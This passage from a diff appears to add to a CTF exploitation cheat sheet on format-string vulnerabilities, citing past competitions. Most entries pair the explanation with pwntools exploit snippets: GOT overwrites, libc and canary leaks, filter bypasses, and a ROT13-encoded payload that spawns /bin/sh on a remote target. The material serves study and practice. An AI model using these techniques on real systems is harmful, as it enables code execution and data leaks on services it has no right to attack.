+ payload += p64(exit_got) # address for %19$hn write
440
+
441
+ # Result: leaks libc via %25$p AND overwrites exit@GOT via %19$hn
442
+ # exit() jumps back to main for second-stage exploitation
443
+ io.sendline(payload)
444
+
445
+ # Parse leaked libc address from output
446
+ io.recvuntil(b' 0x')
447
+ libc_leak = int(io.recv(12), 16)
448
+ libc_base = libc_leak - known_offset
449
+
450
+ # Second pass: now with libc known, overwrite for shell
451
+ # ...
452
+ ```
453
+
454
+ **Key insight:** A single `printf` can perform both reads (`%p`) and writes (`%hn`) simultaneously. When `exit()` immediately follows the vulnerability, overwrite `exit@GOT` with `main`'s address in the same call that leaks libc, creating a re-entry point for full exploitation. The key is careful offset calculation so the leak specifier and write specifier reference the correct stack positions.
455
+
456
+ **When to recognize:** Format string vulnerability with only one shot before `exit()` or another terminating function. The single-call technique avoids needing a loop or re-entry mechanism before establishing one.
457
+
458
+ **References:** picoCTF 2017
459
+
460
+ ---
461
+
462
+ ## Objective-C %@ Format Specifier Exploitation (SHA2017)
463
+
464
+ **Pattern:** Objective-C's `NSLog` and related functions support the `%@` format specifier, which calls `objc_msg_lookup(rdi, ...)` treating the corresponding stack value as an Objective-C object pointer. Control the stack value pointed to by `%N$@` to control `rdi`. Analysis of `objc_msg_lookup` reveals a `call rax` gadget reachable with crafted conditions, enabling one-shot execution.
465
+
466
+ **Mechanism:**
467
+ ```text
468
+ NSLog(@"Hello %@", user_input)
469
+ → %@ consumes next argument from stack
470
+ → argument is treated as Objective-C object pointer (rdi)
471
+ → objc_msg_lookup(rdi, "description") is called
472
+ → if [rdi+8] == 0 (ISA check fails), execution reaches: call rax
473
+ → rax is under attacker control via the crafted "object"
474
+ ```
475
+
476
+ **Exploitation:**
477
+ ```python
478
+ # Craft a fake Objective-C object on the stack via format string write
479
+ # Object layout: [isa_ptr][method_list_ptr][...]
480
+ # Set isa_ptr = 0 to reach the call rax path in objc_msg_lookup
481
+ # Set rax = one_gadget or system() via prior %n writes
482
+
483
+ # Locate %N$@ position: stack offset where fake object pointer lands
484
+ # Use %n to write fake object address at the right stack slot
485
+ # Then trigger %@ to call objc_msg_lookup → call rax → shell
486
+ payload = b'%<distance>c%<write_offset>$lln' # write fake obj addr
487
+ payload += b'%<obj_offset>$@' # trigger call rax
488
+ ```
489
+
490
+ **Key insight:** Objective-C format strings include `%@` which invokes `objc_msg_lookup` on a stack pointer — turns a read-only FSB into a controlled-call primitive via the objc runtime. The `call rax` gadget inside `objc_msg_lookup` is reachable when the ISA pointer check fails, making a crafted "null ISA" object sufficient to redirect execution.
491
+
492
+ **References:** SHA2017
493
+
494
+ ---
495
+
496
+ ## strlen Integer Truncation Bypass (ASIS CTF Finals 2017)
497
+
498
+ **Pattern:** Binary filters format string input by checking that each character up to `strlen(input)+1` is lowercase. However, the `strlen()` result is cast to `int8_t`: at input length 255, `(int8_t)(255 + 1)` overflows to 0, collapsing the sanitization window to an empty range. Format specifiers like `%n` placed beyond byte 255 bypass the filter entirely.
499
+
500
+ **Vulnerable code pattern:**
501
+ ```c
502
+ void filter(char *input) {
503
+ int8_t len = (int8_t)strlen(input); // truncates at 255 → wraps to -1 or 0
504
+ for (int8_t i = 0; i <= len; i++) { // at len==-1 (255 cast): 0 <= -1 is false
505
+ if (!islower(input[i]))
506
+ reject();
507
+ }
508
+ }
509
+ ```
510
+
511
+ **Exploitation:**
512
+ ```python
513
+ # Pad with 255 lowercase bytes, then place %n-based payload starting at byte 255
514
+ # The filter checks bytes 0..len, but len wraps to -1 (or 0+1=0), so no bytes checked
515
+ filler = b'a' * 255
516
+ exploit_suffix = b'%7$n' + p64(target_addr) # unchecked bytes
517
+ payload = filler + exploit_suffix
518
+ ```
519
+
520
+ **Key insight:** `strlen()` cast to `int8_t` produces signed overflow at length 255, collapsing the sanitization window to zero. Any payload content placed at or beyond byte 255 escapes the filter. Always check for integer truncation when a length field is stored in a signed or short type.
521
+
522
+ **References:** ASIS CTF Finals 2017
523
+
524
+ ---
525
+
526
+ ## printf_function_table Overwrite via Buffer Overflow (34C3 CTF 2017)
527
+
528
+ **Pattern:** Exploit glibc's internal printf dispatch tables to turn a buffer overflow into an information leak without needing a format string vulnerability. When `printf_function_table` is non-NULL, glibc dispatches format specifiers through `printf_arginfo_table` instead of the default handlers.
529
+
530
+ **Mechanism:**
531
+ 1. Buffer overflow to create a fake `printf_arginfo_size_function` structure pointing to `_fortify_fail`
532
+ 2. Overwrite `__libc_argv` so `_fortify_fail` prints the flag instead of the real `argv[0]`
533
+ 3. Set `printf_function_table` to a non-NULL value (triggers alternate dispatch)
534
+ 4. Set `printf_arginfo_table` to point to the fake structure
535
+
536
+ **How the dispatch works:**
537
+ ```c
538
+ // Inside glibc's printf implementation:
539
+ if (__printf_function_table != NULL) {
540
+ // Alternate path: look up handler via printf_arginfo_table
541
+ int spec_index = format_char; // e.g., 'd' = 100
542
+ // Calls printf_arginfo_table[spec_index](...)
543
+ // → redirected to _fortify_fail
544
+ }
545
+
546
+ // _fortify_fail prints:
547
+ // "*** buffer overflow detected ***: %s terminated\n", __libc_argv[0]
548
+ // If __libc_argv[0] points to the flag → flag is leaked
549
+ ```
550
+
551
+ **Exploitation:**
552
+ ```python
553
+ from pwn import *
554
+
555
+ # Addresses determined from libc
556
+ printf_function_table = libc_base + PRINTF_FUNCTION_TABLE_OFF
557
+ printf_arginfo_table = libc_base + PRINTF_ARGINFO_TABLE_OFF
558
+ libc_argv = libc_base + LIBC_ARGV_OFF
559
+ fortify_fail = libc_base + FORTIFY_FAIL_OFF
560
+
561
+ # Step 1: Overflow to overwrite __libc_argv to point to flag location
562
+ # Step 2: Create fake arginfo table entry pointing to _fortify_fail
563
+ # Step 3: Set printf_function_table to non-NULL
564
+ # Step 4: Set printf_arginfo_table to fake table
565
+
566
+ # Any subsequent printf with a format specifier (e.g., %d, %s)
567
+ # triggers: printf_arginfo_table['d'] → _fortify_fail
568
+ # _fortify_fail reads __libc_argv[0] → prints flag contents
569
+ ```
570
+
571
+ **Key insight:** When `printf_function_table` is non-NULL, glibc dispatches format specifiers through `printf_arginfo_table`. Overwriting both lets you redirect any printf format specifier to an arbitrary function. Combined with `_fortify_fail` (which prints `__libc_argv[0]`), this turns a buffer overflow into an info leak without needing a format string vulnerability.
572
+
573
+ **When to recognize:** Buffer overflow that can reach glibc globals but no direct format string vulnerability. The target binary calls `printf` with format specifiers after the overflow. Useful when the goal is information exfiltration (flag leak) rather than code execution.
574
+
575
+ **References:** 34C3 CTF 2017
576
+
577
+ ---
578
+
579
+ ## scanf Format String on Stack Overwrite (TUCTF 2017)
580
+
581
+ **Pattern:** When `scanf`'s format string (e.g., `"%30s"`) is stored on the stack adjacent to the user input buffer rather than in `.rodata`, the first input can overflow into the format specifier itself, expanding the allowed read size for the next call.
582
+
583
+ **Two-stage overflow:**
584
+ ```python
585
+ from pwn import *
586
+
587
+ # Stage 1: Overflow the scanf format string on the stack
588
+ # Format "%30s" is stored 0x14 bytes after the input buffer
589
+ # Overwrite it to become "%99s"
590
+ payload0 = b"0" * 0x14 + p32(0x73393925) # 0x73393925 = "%99s" in little-endian
591
+ io.sendline(payload0)
592
+
593
+ # Stage 2: scanf now reads up to 99 bytes instead of 30
594
+ # Use the expanded buffer to reach and overwrite the return address
595
+ payload1 = b"0" * 0x31 + p32(win_addr) # 0x31 bytes padding + return address
596
+ io.sendline(payload1)
597
+ ```
598
+
599
+ **Stack layout:**
600
+ ```text
601
+ +0x00: input_buffer[30] ← scanf reads here
602
+ +0x14: format_string[4] ← "%30s" (overwritten to "%99s")
603
+ ...
604
+ +0x31: saved_ebp
605
+ +0x35: return_address ← target for stage 2
606
+ ```
607
+
608
+ **Key insight:** If the format specifier for `scanf` is on the stack (not in `.rodata`), the first input can overwrite it to expand the read size, then the second input uses the expanded format to reach the return address. Two-stage overflow: first expand the format string, then exploit the expanded buffer. Check whether format strings are stack-allocated by examining the disassembly — `lea` from `rbp`/`rsp` offset (stack) vs. `lea` from `rip`-relative address (`.rodata`).
609
+
610
+ **When to recognize:** Binary uses `scanf` with a format string that limits input length (e.g., `%30s`), but the overflow is just short of reaching the return address. If the format string is a local variable on the stack rather than a string literal, this two-stage technique bridges the gap.
611
+
612
+ **References:** TUCTF 2017
613
+
614
+ ---
615
+
616
+ ## Format String Exploit Through ROT13 Encoding (SunshineCTF 2018)
617
+
618
+ **Pattern:** A "ROT13 encryption service" applies ROT13 to user input before passing it to `printf`. Leak addresses and build format string payloads, but ROT13-encode them first so they survive the transformation and reach `printf` intact.
619
+
620
+ **Attack chain:**
621
+ 1. Input is ROT13-encoded by the binary before reaching `printf`
622
+ 2. ROT13 is self-inverse: `rot13(rot13(x)) = x`
623
+ 3. Pre-encode format string payloads with ROT13 so the transformation produces the intended format specifiers
624
+ 4. Leak libc and program addresses via ROT13-encoded `%p` specifiers
625
+ 5. Build a `fmtstr_payload` to overwrite `strlen@GOT` with `system`, then send `/bin/sh`
626
+
627
+ ```python
628
+ import codecs
629
+ from pwn import *
630
+
631
+ def rot13(s):
632
+ return codecs.encode(s, 'rot_13')
633
+
634
+ io = remote('target', 1337)
635
+
636
+ # Stage 1: Leak addresses through ROT13 transform
637
+ # rot13('%2$x|%3$x') produces encoded string; after binary's rot13, printf sees '%2$x|%3$x'
638
+ io.sendline(rot13('%2$x|%3$x').encode())
639
+ leak = io.recvline().decode()
640
+ libc_leak, prog_leak = leak.split('|')
641
+ libc_base = int(libc_leak, 16) - known_offset
642
+ prog_base = int(prog_leak, 16) - known_offset
643
+
644
+ # Stage 2: Overwrite strlen@GOT with system via format string
645
+ strlen_got = prog_base + elf.got['strlen']
646
+ system_addr = libc_base + libc.symbols['system']
647
+ writes = {strlen_got: system_addr}
648
+ payload = fmtstr_payload(7, writes)
649
+
650
+ # ROT13-encode the entire payload so binary's rot13 produces the real fmt string
651
+ encoded_payload = rot13(payload.decode('latin-1')).encode('latin-1')
652
+ io.sendline(encoded_payload)
653
+
654
+ # Stage 3: Send /bin/sh -- strlen("/bin/sh") now calls system("/bin/sh")
655
+ io.sendline(b'/bin/sh')
656
+ io.interactive()
657
+ ```
658
+
659
+ **Key insight:** When input is transformed before reaching printf (ROT13, Caesar, etc.), pre-encode the format string payload with the inverse transform. ROT13 is self-inverse, so `rot13(rot13(payload)) = payload` reaches printf intact. This applies to any invertible transformation applied before a format string sink -- XOR, base64, substitution ciphers, etc.
660
+
661
+ **References:** SunshineCTF 2018
662
+
663
+ ---
664
+
665
+ ## Format String in HTTP User-Agent for PIE Leak (X-MAS CTF 2018)
666
+
667
+ **Pattern:** A PIE-compiled HTTP server logs the `User-Agent` header with `printf(ua)`. No other info-leak primitives exist, but the stack canary and PIE base both sit near the logging frame. One request leaks both in a single response.
668
+
669
+ ```python
670
+ # Leak canary at offset 6, PIE base at offset 7
671
+ r = requests.get('http://target/', headers={'User-Agent': '%6$p.%7$p'})
672
+ canary, pie = [int(x, 16) for x in r.text.strip().split('.')]
673
+ pie_base = pie - elf.sym['main']
674
+ ```
675
+
676
+ **Key insight:** Any header parsed into a format-string sink turns a remote HTTP server into a leak oracle. Check logs, error messages, and reflected headers before assuming you need a binary-local primitive.
677
+
678
+ **References:** X-MAS CTF 2018 — I want that toy, writeup 12672
679
+
680
+ ---
681
+
682
+ ## Null-Byte Address Fragmentation in Small Buffers (FireShell 2019)
683
+
684
+ **Pattern:** The vulnerable buffer is 16 bytes, so a typical `fmtstr_payload(offset=..., writes={addr: val})` fails because `printf` stops at the first null byte in `addr`. Work around it by placing the format specifier *first* and the target address *last* in the buffer — printf consumes the format bytes before it hits the null.
685
+
686
+ ```python
687
+ fmtstr = b"%9x%11$n" + b"\x20\x20\x60\x00\x00\x00\x00\x00"
688
+ # printf processes %9x%11$n using the address at offset 11 (the trailing 8 bytes)
689
+ # Writes 0x9 (from %9x count) to *0x602020
690
+ ```
691
+
692
+ **Key insight:** Format-string null-byte restrictions only bite when the address precedes the format directives. Put the directives first so `printf` parses them before touching the address, then let `%$n` reference the trailing address slot.
693
+
694
+ **References:** FireShell CTF 2019 — casino, writeup 12916